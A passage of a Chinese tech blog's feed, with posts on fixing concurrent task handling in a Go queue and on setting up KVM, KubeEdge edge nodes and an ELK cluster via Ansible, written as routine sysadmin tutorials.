class="token function">len</span><span class="token punctuation">(</span>existingTasks<span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// 返回已存在任务</span>    <span class="token keyword">for</span> <span class="token boolean">_</span><span class="token punctuation">,</span> t <span class="token operator">:=</span> <span class="token keyword">range</span> existingTasks <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> buildTask<span class="token punctuation">,</span> ok <span class="token operator">:=</span> t<span class="token punctuation">.</span><span class="token punctuation">(</span><span class="token operator">*</span>BuildImageTaskV3<span class="token punctuation">)</span><span class="token punctuation">;</span> ok <span class="token punctuation">&#123;</span>            <span class="token keyword">return</span> buildTask<span class="token punctuation">,</span> <span class="token boolean">nil</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p><strong>Worker流程优化</strong>：修改worker处理逻辑，添加锁定和解锁步骤</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/processor.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>p <span class="token operator">*</span>TaskProcessor<span class="token punctuation">)</span> <span class="token function">worker</span><span class="token punctuation">(</span>ctx context<span class="token punctuation">.</span>Context<span class="token punctuation">,</span> id <span class="token builtin">int</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">for</span> <span class="token punctuation">&#123;</span>        <span class="token comment">// ...</span>        task<span class="token punctuation">,</span> err <span class="token operator">:=</span> p<span class="token punctuation">.</span>queue<span class="token punctuation">.</span><span class="token function">Dequeue</span><span class="token punctuation">(</span>ctx<span class="token punctuation">)</span>        <span class="token keyword">if</span> task <span class="token operator">==</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span> <span class="token keyword">continue</span> <span class="token punctuation">&#125;</span>        locked<span class="token punctuation">,</span> err <span class="token operator">:=</span> p<span class="token punctuation">.</span>queue<span class="token punctuation">.</span><span class="token function">TryLock</span><span class="token punctuation">(</span>ctx<span class="token punctuation">,</span> task<span class="token punctuation">.</span><span class="token function">GetID</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>        <span class="token keyword">if</span> <span class="token operator">!</span>locked <span class="token punctuation">&#123;</span> <span class="token keyword">continue</span> <span class="token punctuation">&#125;</span>        taskID <span class="token operator">:=</span> task<span class="token punctuation">.</span><span class="token function">GetID</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        <span class="token keyword">defer</span> <span class="token keyword">func</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            unlockErr <span class="token operator">:=</span> p<span class="token punctuation">.</span>queue<span class="token punctuation">.</span><span class="token function">Unlock</span><span class="token punctuation">(</span>ctx<span class="token punctuation">,</span> taskID<span class="token punctuation">)</span>            <span class="token comment">// 错误处理</span>        <span class="token punctuation">&#125;</span><span class="token punctuation">(</span><span class="token punctuation">)</span>        p<span class="token punctuation">.</span><span class="token function">processTask</span><span class="token punctuation">(</span>ctx<span class="token punctuation">,</span> task<span class="token punctuation">)</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li></ol><h2 id="具体实现"><a href="#具体实现" class="headerlink" title="具体实现"></a>具体实现</h2><ol><li><p><strong>Task接口扩展</strong>：</p><ul><li>添加SetStatus方法用于更新任务状态</li><li>添加GetTag方法用于获取任务特定标签，便于任务查重</li></ul><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/types.go</span><span class="token keyword">type</span> Task <span class="token keyword">interface</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// ...</span>    <span class="token function">SetStatus</span><span class="token punctuation">(</span>status <span class="token builtin">string</span><span class="token punctuation">)</span>    <span class="token function">GetTag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token builtin">string</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p><strong>TaskQueue接口扩展</strong>：</p><ul><li>TryLock：尝试锁定任务，成功返回true</li><li>Unlock：解锁任务</li><li>FindPending：查找具有相同名称和标签的未完成任务</li></ul><p>见上方接口定义和实现。</p></li><li><p><strong>Worker处理流程</strong>：</p><ul><li>出队任务后先尝试锁定</li><li>锁定成功才处理，失败则跳过</li><li>使用defer确保总是解锁任务</li><li>处理任务状态流转：pending -&gt; processing -&gt; running -&gt; completed&#x2F;failed</li></ul><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token comment">// internal/task/processor.go</span><span class="token keyword">func</span> <span class="token punctuation">(</span>p <span class="token operator">*</span>TaskProcessor<span class="token punctuation">)</span> <span class="token function">processTask</span><span class="token punctuation">(</span>ctx context<span class="token punctuation">.</span>Context<span class="token punctuation">,</span> task Task<span class="token punctuation">)</span> <span class="token builtin">error</span> <span class="token punctuation">&#123;</span>    <span class="token comment">// ...</span>    task<span class="token punctuation">.</span><span class="token function">SetStatus</span><span class="token punctuation">(</span><span class="token function">string</span><span class="token punctuation">(</span>TaskStatusRunning<span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> err <span class="token operator">:=</span> p<span class="token punctuation">.</span>queue<span class="token punctuation">.</span><span class="token function">Update</span><span class="token punctuation">(</span>ctx<span class="token punctuation">,</span> task<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span> <span class="token operator">...</span> <span class="token punctuation">&#125;</span>    <span class="token comment">// 任务处理逻辑</span>    <span class="token comment">// 失败时SetError，成功时SetResult</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre></li><li><p><strong>任务创建机制优化</strong>：</p><ul><li>创建任务前先查找是否有同名同标签的任务在处理</li><li>有则返回已存在任务，避免创建重复任务</li><li>提升任务使用效率</li></ul><p>见上方查重代码。</p></li></ol><h2 id="测试验证"><a href="#测试验证" class="headerlink" title="测试验证"></a>测试验证</h2><p>该方案解决了任务被多次并发处理的问题，显著提升了系统稳定性和资源使用效率。测试表明：</p><ul><li>不再出现同一任务被多个worker处理的情况</li><li>任务队列处理效率提高</li><li>Docker镜像构建过程更加稳定可靠</li></ul><p><img src="https://webstatic.9xia.top/usr/uploads/2025/05/image-20250521210500325.png" alt="image"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;Golang任务队列并发处理问题解决方案&quot;&gt;&lt;a href=&quot;#Golang任务队列并发处理问题解决方案&quot; class=&quot;headerlink&quot; title=&quot;Golang任务队列并发处理问题解决方案&quot;&gt;&lt;/a&gt;Golang任务队列并发处理问题解决方案&lt;/h1&gt;&lt;</summary>
      
    
    
    
    <category term="编程" scheme="https://blog.inekoxia.com/categories/%E7%BC%96%E7%A8%8B/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
    <category term="容器云" scheme="https://blog.inekoxia.com/tags/%E5%AE%B9%E5%99%A8%E4%BA%91/"/>
    
  </entry>
  
  <entry>
    <title>KVM虚拟化技术的简要实践</title>
    <link href="https://blog.inekoxia.com/index.php/archives/721.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/721.html</id>
    <published>2024-12-29T20:41:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="KVM的环境搭建"><a href="#KVM的环境搭建" class="headerlink" title="KVM的环境搭建"></a>KVM的环境搭建</h1><h2 id="环境准备"><a href="#环境准备" class="headerlink" title="环境准备"></a>环境准备</h2><table><thead><tr><th align="center">主机名</th><th align="center">IP地址</th><th align="center">主机</th></tr></thead><tbody><tr><td align="center">node</td><td align="center">192.168.100.50</td><td align="center">CentOS7.9.2009</td></tr></tbody></table><h2 id="环境部署"><a href="#环境部署" class="headerlink" title="环境部署"></a>环境部署</h2><h3 id="关闭防火墙与Selinux"><a href="#关闭防火墙与Selinux" class="headerlink" title="关闭防火墙与Selinux"></a>关闭防火墙与Selinux</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl disable <span class="token parameter variable">--now</span> firewalldsetenforce <span class="token number">0</span><span class="token function">sed</span> <span class="token parameter variable">-i</span> <span class="token string">'s/SELINUX=.*/SELINUX=disabled/g'</span> /etc/selinux/config<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3 id="检查是否支持虚拟化"><a href="#检查是否支持虚拟化" class="headerlink" title="检查是否支持虚拟化"></a>检查是否支持虚拟化</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">egrep</span> <span class="token parameter variable">-o</span> <span class="token string">'vmx|svm'</span> /proc/cpuinfo<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="安装KVM、QEMU、libvirt"><a href="#安装KVM、QEMU、libvirt" class="headerlink" title="安装KVM、QEMU、libvirt"></a>安装KVM、QEMU、libvirt</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">yum <span class="token function">install</span> <span class="token parameter variable">-y</span> qemu-kvm libvirt libvirt-python libguestfs-tools virt-install virt-manager<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="启动libvirt"><a href="#启动libvirt" class="headerlink" title="启动libvirt"></a>启动libvirt</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">systemctl start libvirtdsystemctl <span class="token builtin class-name">enable</span> libvirtd<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h3 id="加载KVM内核"><a href="#加载KVM内核" class="headerlink" title="加载KVM内核"></a>加载KVM内核</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">modprobe kvm<span class="token function">egrep</span> <span class="token parameter variable">-o</span> <span class="token string">'vmx|svm'</span> /proc/cpuinfomodprobe kvm_intel  <span class="token comment"># 如果是 vmx执行</span>modprobe kvm_amd    <span class="token comment"># 如果是 svm执行</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><h3 id="验证KVM内核加载"><a href="#验证KVM内核加载" class="headerlink" title="验证KVM内核加载"></a>验证KVM内核加载</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">lsmod <span class="token operator">|</span> <span class="token function">grep</span> kvm<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="验证虚拟化环境"><a href="#验证虚拟化环境" class="headerlink" title="验证虚拟化环境"></a>验证虚拟化环境</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">virsh</span> list <span class="token parameter variable">--all</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h1 id="KVM的存储管理"><a href="#KVM的存储管理" class="headerlink" title="KVM的存储管理"></a>KVM的存储管理</h1><h2 id="虚拟磁盘管理"><a href="#虚拟磁盘管理" class="headerlink" title="虚拟磁盘管理"></a>虚拟磁盘管理</h2><h3 id="使用qemu-img创建一个虚拟磁盘"><a href="#使用qemu-img创建一个虚拟磁盘" class="headerlink" title="使用qemu-img创建一个虚拟磁盘"></a>使用qemu-img创建一个虚拟磁盘</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-img create <span class="token parameter variable">-f</span> qcow2 mydisk.qcow2 10G<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h4 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h4><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">ls</span> <span class="token operator">|</span> <span class="token function">grep</span> mydisk.qcow2qemu-img info mydisk.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h2 id="增量磁盘管理"><a href="#增量磁盘管理" class="headerlink" title="增量磁盘管理"></a>增量磁盘管理</h2><p>增量磁盘是基于目标磁盘进行<code>复制</code>的一块磁盘，所有基础信息基于基础磁盘，新增数据写入增量磁盘中，可以将基础磁盘理解为<code>模版机</code>，通常用于单个镜像批量启动虚拟机。</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-img create <span class="token parameter variable">-f</span> qcow2 <span class="token parameter variable">-b</span> mydisk.qcow2 incrementaldisk.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="创建增量磁盘"><a href="#创建增量磁盘" class="headerlink" title="创建增量磁盘"></a>创建增量磁盘</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-img create <span class="token parameter variable">-f</span> qcow2 <span class="token parameter variable">-b</span> mydisk.qcow2 incrementaldisk.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>验证</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-img info incrementaldisk.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="磁盘格式转换"><a href="#磁盘格式转换" class="headerlink" title="磁盘格式转换"></a>磁盘格式转换</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-img convert <span class="token parameter variable">-f</span> qcow2 <span class="token parameter variable">-O</span> raw /var/lib/libvirt/images/mydisk.qcow2 /var/lib/libvirt/images/mydisk.raw<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="磁盘大小压缩"><a href="#磁盘大小压缩" class="headerlink" title="磁盘大小压缩"></a>磁盘大小压缩</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-img convert <span class="token parameter variable">-O</span> qcow2 <span class="token parameter variable">-c</span> /var/lib/libvirt/images/mydisk.qcow2 /var/lib/libvirt/images/mydisk_compressed.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h3 id="磁盘差异对比"><a href="#磁盘差异对比" class="headerlink" title="磁盘差异对比"></a>磁盘差异对比</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">qemu-img compare /var/lib/libvirt/images/mydisk.qcow2 /var/lib/libvirt/images/mydisk_compressed.qcow2<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2 id="存储池管理"><a href="#存储池管理" class="headerlink" title="存储池管理"></a>存储池管理</h2><p>创建存储池</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">mkdir</span> /var/lib/libvirt/images/mypool<span class="token function">virsh</span> pool-define-as mypool <span class="token function">dir</span> - - - - <span class="token string">"/var/lib/libvirt/images/mypool"</span><span class="token function">virsh</span> pool-start mypool<span class="token function">virsh</span> pool-autostart mypool<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>待更新，这里有点抽象，等有空再接着研究了</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;KVM的环境搭建&quot;&gt;&lt;a href=&quot;#KVM的环境搭建&quot; class=&quot;headerlink&quot; title=&quot;KVM的环境搭建&quot;&gt;&lt;/a&gt;KVM的环境搭建&lt;/h1&gt;&lt;h2 id=&quot;环境准备&quot;&gt;&lt;a href=&quot;#环境准备&quot; class=&quot;headerlink&quot; </summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="私有云" scheme="https://blog.inekoxia.com/tags/%E7%A7%81%E6%9C%89%E4%BA%91/"/>
    
  </entry>
  
  <entry>
    <title>KubeEdge边缘计算部署</title>
    <link href="https://blog.inekoxia.com/index.php/archives/711.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/711.html</id>
    <published>2024-12-23T03:34:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p>KubeEdge分为云端（cloud）和边缘端（edge）<br>云端：docker，k8s集群，<br>边缘端（不要安装K8S）：docker，</p><h1 id="cloud端安装"><a href="#cloud端安装" class="headerlink" title="cloud端安装"></a>cloud端安装</h1><p>（cloud端负责编译KubeEdge的相关组件与运行cloudcore）</p><h2 id="准备需要的安装包"><a href="#准备需要的安装包" class="headerlink" title="准备需要的安装包"></a>准备需要的安装包</h2><p>因为github上下载慢（只有几KB的速度）提前下载好以下文件<br><a href="https://github.com/kubeedge/kubeedge/releases/download/v1.12.1/kubeedge-v1.12.1-linux-amd64.tar.gz">https://github.com/kubeedge/kubeedge/releases/download/v1.12.1/kubeedge-v1.12.1-linux-amd64.tar.gz</a></p><p><a href="https://github.com/kubeedge/kubeedge/releases/download/v1.12.1/keadm-v1.12.1-linux-amd64.tar.gz">https://github.com/kubeedge/kubeedge/releases/download/v1.12.1/keadm-v1.12.1-linux-amd64.tar.gz</a></p><p><a href="https://github.com/kubeedge/kubeedge/releases/download/v1.12.1/checksum_kubeedge-v1.12.1-linux-amd64.tar.gz.txt">https://github.com/kubeedge/kubeedge/releases/download/v1.12.1/checksum_kubeedge-v1.12.1-linux-amd64.tar.gz.txt</a></p><h2 id="下载好的安装包上传到-etc-kubeedge"><a href="#下载好的安装包上传到-etc-kubeedge" class="headerlink" title="下载好的安装包上传到&#x2F;etc&#x2F;kubeedge"></a>下载好的安装包上传到&#x2F;etc&#x2F;kubeedge</h2><p>在&#x2F;etc&#x2F;kubeedge下操作</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">mkdir</span> /etc/kubeedge/<span class="token builtin class-name">cd</span> /etc/kubeedge/<span class="token function">tar</span> <span class="token parameter variable">-zxvf</span> keadm-v1.12.1-linux-amd64.tar.gz<span class="token function">cp</span> keadm-v1.12.1-linux-amd64/keadm/keadm /usr/local/bin/keadm<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>设置云端（KubeEdge 主节点）<br><code>keadm init --advertise-address=&quot;IP&quot; --profile version=v1.12.1 --kube-config=/root/.kube/config</code></p><p>输出：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">Kubernetes version verification passed, KubeEdge installation will start<span class="token punctuation">..</span>.CLOUDCORE started<span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span>CHART <span class="token assign-left variable">DETAILS</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">==</span><span class="token operator">=</span>NAME: cloudcoreLAST DEPLOYED: Wed Oct <span class="token number">26</span> <span class="token number">11</span>:10:04 <span class="token number">2022</span>NAMESPACE: kubeedgeSTATUS: deployedREVISION: <span class="token number">1</span>kubectl get all <span class="token parameter variable">-n</span> kubeedge<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="设置边缘端（KubeEdge-工作节点）"><a href="#设置边缘端（KubeEdge-工作节点）" class="headerlink" title="设置边缘端（KubeEdge 工作节点）"></a>设置边缘端（KubeEdge 工作节点）</h1><p>在云端运行将返回令牌，该令牌将在加入边缘节点时使用。</p><p><code>keadm gettoken</code></p><p>加入边缘节点<br>在&#x2F;etc&#x2F;kubeedge下操作</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">mkdir</span> /etc/kubeedge/<span class="token builtin class-name">cd</span> /etc/kubeedge/<span class="token function">tar</span> <span class="token parameter variable">-zxvf</span> keadm-v1.12.1-linux-amd64.tar.gz<span class="token function">cp</span> keadm-v1.12.1-linux-amd64/keadm/keadm /usr/local/bin/keadmkeadm <span class="token function">join</span> --cloudcore-ipport<span class="token operator">=</span><span class="token string">"cloud端IP"</span>:10000 <span class="token parameter variable">--token</span><span class="token operator">=</span>27a37ef16159f7d3be8fae95d588b79b3adaaf92727b72659eb89758c66ffda2.eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE1OTAyMTYwNzd9.JBj8LLYWXwbbvHKffJBpPd5CyxqapRQYDIXtFZErgYE --kubeedge-version<span class="token operator">=</span>v1.10.1<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><strong>边缘端在启动edgecore后，会与云端的cloudcore进行通信，K8s进而会将边缘端作为一个node纳入K8s的管控。</strong></p><p><code>kubectl get node</code><br>[root@k8s-master-node1 kubeedge]# kubectl get nodes<br>NAME               STATUS     ROLES                         AGE   VERSION<br>k8s-master-node1   Ready      control-plane,master,worker   40h   v1.22.1<br>k8s-worker-node1   Ready      worker                        40h   v1.22.1<br>node-1.novalocal   Ready   agent,edge                    8s    v1.22.6-kubeedge-v1.12.1</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;介绍&quot;&gt;&lt;a href=&quot;#介绍&quot; class=&quot;headerlink&quot; title=&quot;介绍&quot;&gt;&lt;/a&gt;介绍&lt;/h1&gt;&lt;p&gt;KubeEdge分为云端（cloud）和边缘端（edge）&lt;br&gt;云端：docker，k8s集群，&lt;br&gt;边缘端（不要安装K8S）：dock</summary>
      
    
    
    
    <category term="运维" scheme="https://blog.inekoxia.com/categories/%E8%BF%90%E7%BB%B4/"/>
    
    
    <category term="云计算" scheme="https://blog.inekoxia.com/tags/%E4%BA%91%E8%AE%A1%E7%AE%97/"/>
    
    <category term="容器云" scheme="https://blog.inekoxia.com/tags/%E5%AE%B9%E5%99%A8%E4%BA%91/"/>
    
  </entry>
  
  <entry>
    <title>使用Ansible部署ELK集群笔记</title>
    <link href="https://blog.inekoxia.com/index.php/archives/706.html"/>
    <id>https://blog.inekoxia.com/index.php/archives/706.html</id>
    <published>2024-12-12T05:15:00.000Z</published>
    <updated>2025-11-27T04:02:54.546Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Ansible开ELK集群"><a href="#Ansible开ELK集群" class="headerlink" title="Ansible开ELK集群"></a>Ansible开ELK集群</h1><h1 id="节点规划"><a href="#节点规划" class="headerlink" title="节点规划"></a>节点规划</h1><table><thead><tr><th>IP地址</th><th>主机名</th><th>服务</th></tr></thead><tbody><tr><td>192.168.100.10</td><td>ansible</td><td>ansible</td></tr><tr><td>192.168.100.20</td><td>elk-1</td><td>ela+kibana</td></tr><tr><td>192.168.100.21</td><td>elk-2</td><td>ela+logstash</td></tr><tr><td>192.168.100.22</td><td>elk-3</td><td>ela</td></tr></tbody></table><h2 id="设置解析域名-所有节点"><a href="#设置解析域名-所有节点" class="headerlink" title="设置解析域名(所有节点)"></a>设置解析域名(所有节点)</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">>></span> /etc/hosts <span class="token operator">&lt;&lt;</span><span class="token string">EOF192.168.100.10 ansible192.168.100.20 elk-1 192.168.100.21 elk-2 192.168.100.22 elk-3 EOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="设置主机名-所有节点"><a href="#设置主机名-所有节点" class="headerlink" title="设置主机名(所有节点)"></a>设置主机名(所有节点)</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token comment">#ansible节点--192.168.100.10:</span>hostnamectl set-hostname<span class="token comment">#elk1节点--192.168.100.21:</span>hostnamectl set-hostname elk-1<span class="token comment">#elk2节点--192.168.100.22:</span>hostnamectl set-hostname elk-2<span class="token comment">#elk3节点--192.168.100.23:</span>hostnamectl set-hostname elk-3<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="创建目录结构-Ansible"><a href="#创建目录结构-Ansible" class="headerlink" title="创建目录结构(Ansible)"></a>创建目录结构(Ansible)</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">mkdir</span> /root/install_elk<span class="token function">touch</span> /root/install_elk/install_elk.yaml<span class="token function">mkdir</span> <span class="token parameter variable">-p</span> /root/install_elk/roles/<span class="token punctuation">&#123;</span>ela,kib,log<span class="token punctuation">&#125;</span>/<span class="token punctuation">&#123;</span>files,handlers,tasks,templates,vars<span class="token punctuation">&#125;</span><span class="token comment">##下载所需要的软件包</span><span class="token function">curl</span> <span class="token parameter variable">-O</span> https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.17.0-linux-x86_64.tar.gz<span class="token function">curl</span> <span class="token parameter variable">-O</span> https://artifacts.elastic.co/downloads/kibana/kibana-7.17.0-linux-x86_64.tar.gz<span class="token function">curl</span> <span class="token parameter variable">-O</span> https://artifacts.elastic.co/downloads/logstash/logstash-7.17.0-linux-x86_64.tar.gz<span class="token comment">##复制所需要的软件包</span><span class="token function">cp</span> <span class="token parameter variable">-rvf</span> elasticsearcg-7.17.0-linux-x86_64.tar.gz /root/install_elk/ela/files/<span class="token function">cp</span> <span class="token parameter variable">-rvf</span> jdk-8u144-linux-x64.tar.gz /root/install_elk/ela/files/<span class="token function">cp</span> <span class="token parameter variable">-rvf</span> kibana-7.17.0-linux-x86.64.tar.gz /root/install_elk/kib/files/<span class="token function">cp</span> <span class="token parameter variable">-rvf</span> logstash-7.17.0-linux-x86_64.tar.gz /root/install_elk/kib/files/<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">ssh-keygen<span class="token comment">##执行ssh-keygen不用输入内容，按几下回车</span>ssh-copy-id elk-1ssh-copy-id elk-2ssh-copy-id elk-3<span class="token function">cat</span> <span class="token operator">>></span>  /etc/ansible/hosts <span class="token operator">&lt;&lt;</span><span class="token string">EOF[ela]elk-1 node_name=elk-1elk-2 node_name=elk-2elk-3 node_name=elk-3[kib]elk-1[log]elk-2EOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="编写ELK剧本-Ansible"><a href="#编写ELK剧本-Ansible" class="headerlink" title="编写ELK剧本(Ansible)"></a>编写ELK剧本(Ansible)</h1><h2 id="配置ELA模板"><a href="#配置ELA模板" class="headerlink" title="配置ELA模板"></a>配置ELA模板</h2><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/install_elk.yaml <span class="token operator">&lt;&lt;</span><span class="token string">EOF---- hosts: ela  gather_facts: no  remote_user: root  roles:   - ela- hosts: kib   gather_facts: no  remote_user: root  roles:  - kib   - hosts: log  gather_facts: no  remote_user: root  roles:  - logEOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/ela/tasks/main.yaml <span class="token operator">&lt;&lt;</span><span class="token string">EOF- name: 安装Java环境  unarchive:    src: jdk-8u144-linux-x64.tar.gz      dest: /opt    list_files: yes- name: 添加Java环境变量  shell: echo 'export JAVA_HOME=/opt/jdk1.8.0_144' >> /etc/profile &amp;&amp; echo 'export PATH=<span class="token environment constant">$PATH</span>:/opt/jdk1.8.0_144/bin' >> /etc/profile- name: 生效环境变量  shell: source /etc/profile- name: 创建用户  user:    name: ela- name: 传输本地软件包到远程主机并且解压到指定目录  unarchive:    src: elasticsearch-7.17.0-linux-x86_64.tar.gz    dest: /opt    owner: ela    group: ela    list_files: yes  register: ret- name: 创建软链接  file:    src: /opt/&#123;&#123; ret.files.0 | regex_replace('/.*') &#125;&#125;    dest: /opt/elasticsearch    state: link- name: 传输配置文件  template:    src: elasticsearch.j2    dest: /opt/elasticsearch/config/elasticsearch.yml    owner: ela    group: ela    - name: 传输系统配置文件  copy:    src: limits.conf    dest: /etc/security/limits.conf- name: 传输系统配置文件  copy:    src: sysctl.conf    dest: /etc/sysctl.conf- name: 加载 /etc/sysctl.conf文件,使内核参数生效  shell: sysctl -p- name: 启动服务  # 使用ela用户执行此命令  become: yes  become_user: ela  command:    # argv 是一个列表，存放了需要执行的命令及其参数    # 一行一个    argv:      - nohup      - /opt/elasticsearch/bin/elasticsearch      - -dEOF</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3 id="设置j2主配置文件模板"><a href="#设置j2主配置文件模板" class="headerlink" title="设置j2主配置文件模板"></a>设置j2主配置文件模板</h3><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">cat</span> <span class="token operator">></span> /root/install_elk/roles/ela/templates/elasticsearch.j2 <span class="token operator">&lt;&lt;</span><span class="token string">EOFcluster.name: elknode.name: &#123;&#123; node_name &#125;&#125;node.data: truenetwork.host: 0.0.0.0http.port: 9200discovery.seed_hosts:   - 192.168.100.20   - 192.168.100.21   - 